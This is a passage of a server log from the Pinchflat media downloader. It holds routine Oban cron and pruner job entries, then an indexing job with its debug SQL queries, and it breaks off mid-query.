{"source":"oban","duration":468,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 05:26:12.026 [info] {"source":"oban","duration":3979,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:26:42.028 [info] {"source":"oban","duration":1749,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:27:00.612 [info] {"source":"oban","duration":558,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 05:27:12.032 [info] {"source":"oban","duration":2379,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:27:42.034 [info] {"source":"oban","duration":1558,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:28:00.613 [info] {"source":"oban","duration":688,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 05:28:12.036 [info] {"source":"oban","duration":1229,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:28:42.038 [info] {"source":"oban","duration":1254,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:29:00.614 [info] {"source":"oban","duration":365,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 05:29:12.040 [info] {"source":"oban","duration":1268,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:29:42.042 [info] {"source":"oban","duration":1341,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:30:00.615 [info] {"source":"oban","duration":747,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 05:30:12.044 [info] {"source":"oban","duration":1467,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:30:42.047 [info] {"source":"oban","duration":2138,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:31:00.617 [info] {"source":"oban","duration":496,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 05:31:12.050 [info] {"source":"oban","duration":2672,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:31:42.054 [info] {"source":"oban","duration":2084,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:32:00.618 [info] {"source":"oban","duration":445,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 05:32:12.056 [info] {"source":"oban","duration":1734,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:32:42.060 [info] {"source":"oban","duration":2388,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:33:00.620 [info] {"source":"oban","duration":1033,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 05:33:12.062 [info] {"source":"oban","duration":1820,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:33:42.066 [info] {"source":"oban","duration":1947,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:34:00.621 [info] {"source":"oban","duration":392,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 05:34:12.068 [info] {"source":"oban","duration":1532,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:34:42.071 [info] {"source":"oban","duration":2174,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:35:00.622 [info] {"source":"oban","duration":617,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 05:35:12.074 [info] {"source":"oban","duration":2177,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:35:42.076 [info] {"source":"oban","duration":1491,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:36:00.624 [info] {"source":"oban","duration":849,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 05:36:12.078 [info] {"source":"oban","duration":1191,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:36:42.080 [info] {"source":"oban","duration":1105,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:37:00.625 [info] {"source":"oban","duration":379,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 05:37:12.083 [info] {"source":"oban","duration":2642,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:37:42.086 [info] {"source":"oban","duration":2167,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:38:00.626 [info] {"source":"oban","duration":648,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 05:38:12.089 [info] {"source":"oban","duration":1872,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:38:42.093 [info] {"source":"oban","duration":2939,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:39:00.628 [info] {"source":"oban","duration":639,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 05:39:12.095 [info] {"source":"oban","duration":1243,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:39:42.097 [info] {"source":"oban","duration":1668,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:40:00.630 [info] {"source":"oban","duration":648,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 05:40:12.100 [info] {"source":"oban","duration":2279,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:40:42.103 [info] {"source":"oban","duration":2348,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:41:00.633 [info] {"source":"oban","duration":1283,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 05:41:12.106 [info] {"source":"oban","duration":1880,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:41:42.109 [info] {"source":"oban","duration":2110,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:42:00.635 [info] {"source":"oban","duration":1120,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 05:42:12.111 [info] {"source":"oban","duration":1292,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:42:42.113 [info] {"source":"oban","duration":1456,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:43:00.636 [info] {"source":"oban","duration":463,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 05:43:12.117 [info] {"source":"oban","duration":2687,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:43:42.119 [info] {"source":"oban","duration":1518,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:44:00.637 [info] {"source":"oban","duration":408,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 05:44:12.121 [info] {"source":"oban","duration":1744,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:44:42.124 [info] {"source":"oban","duration":1222,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:45:00.638 [info] {"source":"oban","duration":599,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 05:45:12.127 [info] {"source":"oban","duration":2386,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:45:42.130 [info] {"source":"oban","duration":2226,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:46:00.640 [info] {"source":"oban","duration":1645,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 05:46:12.132 [info] {"source":"oban","duration":1790,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:46:42.135 [info] {"source":"oban","duration":1812,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:47:00.641 [info] {"source":"oban","duration":504,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 05:47:12.138 [info] {"source":"oban","duration":1813,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:47:42.141 [info] {"source":"oban","duration":1442,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:48:00.642 [info] {"source":"oban","duration":462,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 05:48:12.143 [info] {"source":"oban","duration":1578,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:48:42.146 [info] {"source":"oban","duration":2037,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:49:00.643 [info] {"source":"oban","duration":439,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 05:49:12.149 [info] {"source":"oban","duration":2484,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:49:42.151 [info] {"source":"oban","duration":1407,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:50:00.645 [info] {"source":"oban","duration":1200,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 05:50:12.155 [info] {"source":"oban","duration":3898,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:50:42.160 [info] {"source":"oban","duration":2959,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:51:00.647 [info] {"source":"oban","duration":1687,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 05:51:12.163 [info] {"source":"oban","duration":1936,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:51:42.167 [info] {"source":"oban","duration":2094,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:52:00.649 [info] {"source":"oban","duration":607,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 05:52:12.170 [info] {"source":"oban","duration":2024,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:52:42.174 [info] {"source":"oban","duration":3643,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:53:00.651 [info] {"source":"oban","duration":392,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 05:53:12.177 [info] {"source":"oban","duration":1733,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:53:42.180 [info] {"source":"oban","duration":2464,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:54:00.653 [info] {"source":"oban","duration":559,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 05:54:12.182 [info] {"source":"oban","duration":1555,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:54:42.186 [info] {"source":"oban","duration":2900,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:55:00.654 [info] {"source":"oban","duration":670,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 05:55:12.190 [info] {"source":"oban","duration":3293,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:55:42.192 [info] {"source":"oban","duration":1568,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:56:00.656 [info] {"source":"oban","duration":364,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 05:56:12.195 [info] {"source":"oban","duration":1273,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:56:42.198 [info] {"source":"oban","duration":2065,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:57:00.659 [info] {"source":"oban","duration":706,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 05:57:12.201 [info] {"source":"oban","duration":1920,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:57:42.203 [info] {"source":"oban","duration":1611,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:58:00.660 [info] {"source":"oban","duration":392,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 05:58:12.205 [info] {"source":"oban","duration":1625,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:58:42.208 [info] {"source":"oban","duration":1936,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:59:00.661 [info] {"source":"oban","duration":488,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 05:59:12.210 [info] {"source":"oban","duration":1775,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:59:42.218 [info] {"source":"oban","duration":5964,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":1} 06:00:00.662 [info] {"source":"oban","duration":459,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 06:00:12.220 [info] {"source":"oban","duration":1459,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:00:42.222 [info] {"source":"oban","duration":1820,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:01:00.663 [info] {"source":"oban","duration":489,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 06:01:12.225 [info] {"source":"oban","duration":1360,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:01:42.227 [info] {"source":"oban","duration":1016,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:02:00.667 [info] {"source":"oban","duration":3084,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 06:02:12.229 [info] {"source":"oban","duration":1211,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:02:42.232 [info] {"source":"oban","duration":1973,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:03:00.668 [info] {"source":"oban","duration":456,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 06:03:12.234 [info] {"source":"oban","duration":1643,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:03:42.236 [info] {"source":"oban","duration":1538,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:04:00.669 [info] {"source":"oban","duration":359,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 06:04:12.238 [info] {"source":"oban","duration":1362,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:04:42.240 [info] {"source":"oban","duration":1559,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:05:00.670 [info] {"source":"oban","duration":400,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 06:05:12.243 [info] {"source":"oban","duration":2897,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:05:42.246 [info] {"source":"oban","duration":1453,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:06:00.671 [info] {"source":"oban","duration":408,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 06:06:12.248 [info] {"source":"oban","duration":1523,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:06:42.250 [info] {"source":"oban","duration":1392,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:07:00.672 [info] {"source":"oban","duration":367,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 06:07:12.252 [info] {"source":"oban","duration":1850,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:07:42.255 [info] {"source":"oban","duration":1600,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:08:00.673 [info] {"source":"oban","duration":361,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 06:08:12.257 [info] {"source":"oban","duration":1578,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:08:42.259 [info] {"source":"oban","duration":1605,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:09:00.674 [info] {"source":"oban","duration":391,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 06:09:12.261 [info] {"source":"oban","duration":1805,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:09:42.264 [info] {"source":"oban","duration":1334,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:10:00.675 [info] {"source":"oban","duration":534,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 06:10:12.267 [info] {"source":"oban","duration":2075,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:10:42.270 [info] {"source":"oban","duration":1912,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:11:00.677 [info] {"source":"oban","duration":900,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 06:11:12.273 [info] {"source":"oban","duration":2076,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:11:42.275 [info] {"source":"oban","duration":1247,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:12:00.680 [info] {"source":"oban","duration":1922,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 06:12:12.277 [info] {"source":"oban","duration":1041,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:12:42.280 [info] {"source":"oban","duration":2249,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:13:00.682 [info] {"source":"oban","duration":616,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 06:13:12.282 [info] {"source":"oban","duration":1798,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:13:42.285 [info] {"source":"oban","duration":1213,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:14:00.683 [info] {"source":"oban","duration":575,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 06:14:12.288 [info] {"source":"oban","duration":1896,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:14:42.290 [info] {"source":"oban","duration":1218,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:15:00.685 [info] {"source":"oban","duration":830,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 06:15:12.292 [info] {"source":"oban","duration":1505,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:15:42.295 [info] {"source":"oban","duration":2610,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:16:00.687 [info] {"source":"oban","duration":1009,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 06:16:12.300 [info] {"source":"oban","duration":4270,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:16:42.302 [info] {"source":"oban","duration":1679,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:17:00.689 [info] {"source":"oban","duration":891,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 06:17:12.304 [info] {"source":"oban","duration":1401,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:17:42.306 [info] {"source":"oban","duration":1454,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:18:00.692 [info] {"source":"oban","duration":1380,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 06:18:12.308 [info] {"source":"oban","duration":1400,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:18:42.310 [info] {"source":"oban","duration":1414,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:19:00.693 [info] {"source":"oban","duration":505,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 06:19:12.313 [info] {"source":"oban","duration":2124,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:19:42.315 [info] {"source":"oban","duration":1679,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:20:00.695 [info] {"source":"oban","duration":982,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 06:20:12.317 [info] {"source":"oban","duration":1365,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:20:42.319 [info] {"source":"oban","duration":1385,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:21:00.696 [info] {"source":"oban","duration":551,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 06:21:12.322 [info] {"source":"oban","duration":2089,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:21:42.325 [info] {"source":"oban","duration":1856,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:22:00.699 [info] {"source":"oban","duration":2343,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 06:22:12.328 [info] {"source":"oban","duration":2435,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:22:42.331 [info] {"source":"oban","duration":2036,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:23:00.700 [info] {"source":"oban","duration":627,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 06:23:12.333 [info] {"source":"oban","duration":1126,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:23:42.336 [info] {"source":"oban","duration":1911,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:24:00.702 [info] {"source":"oban","duration":385,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 06:24:12.339 [info] {"source":"oban","duration":2092,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:24:42.341 [info] {"source":"oban","duration":1735,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:25:00.703 [info] {"source":"oban","duration":519,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 06:25:12.344 [info] {"source":"oban","duration":1704,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:25:42.346 [info] {"source":"oban","duration":1233,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:26:00.704 [info] {"source":"oban","duration":678,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 06:26:12.349 [info] {"source":"oban","duration":2889,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:26:42.356 [info] {"source":"oban","duration":5160,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:27:00.706 [info] {"source":"oban","duration":695,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 06:27:12.359 [info] {"source":"oban","duration":2636,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:27:42.363 [info] {"source":"oban","duration":2146,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:28:00.708 [info] {"source":"oban","duration":614,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 06:28:12.366 [info] {"source":"oban","duration":2292,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:28:42.368 [info] {"source":"oban","duration":1367,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:29:00.709 [info] {"source":"oban","duration":655,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 06:29:12.370 [info] {"source":"oban","duration":1588,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:29:42.372 [info] {"source":"oban","duration":1673,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:30:00.711 [info] {"source":"oban","duration":604,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 06:30:12.374 [info] {"source":"oban","duration":1790,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:30:42.377 [info] {"source":"oban","duration":1672,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:31:00.713 [info] {"source":"oban","duration":814,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 06:31:12.380 [info] {"source":"oban","duration":2710,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:31:42.383 [info] {"source":"oban","duration":2503,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:32:00.714 [info] {"source":"oban","duration":590,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 06:32:12.385 [info] {"source":"oban","duration":1398,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:32:42.388 [info] {"source":"oban","duration":2396,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:33:00.716 [info] {"source":"oban","duration":1045,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 06:33:05.741 [info] {"args":{"id":3},"id":2357,"meta":{},"system_time":1776659585741308097,"max_attempts":20,"queue":"media_collection_indexing","worker":"Pinchflat.SlowIndexing.MediaCollectionIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","media_collection_indexing","show_in_dashboard"]} 06:33:05.743 [debug] QUERY OK source="sources" db=1.5ms queue=0.1ms idle=1827.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 06:33:05.745 [debug] QUERY OK source="settings" db=1.2ms queue=0.1ms idle=1046.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:33:06.164 [debug] QUERY OK source="media_items" db=418.8ms idle=831.6ms SELECT count(*) FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [3] 06:33:06.329 [debug] QUERY OK source="media_items" db=164.3ms queue=0.1ms idle=423.9ms SELECT count(*) FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) [3] 06:33:06.331 [debug] QUERY OK source="media_profiles" db=1.4ms queue=0.4ms idle=586.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 06:33:06.334 [debug] QUERY OK source="settings" db=1.0ms idle=587.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:33:06.335 [debug] QUERY OK source="settings" db=0.8ms idle=191.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:33:06.387 [debug] QUERY OK source="media_items" db=2.8ms idle=220.0ms SELECT 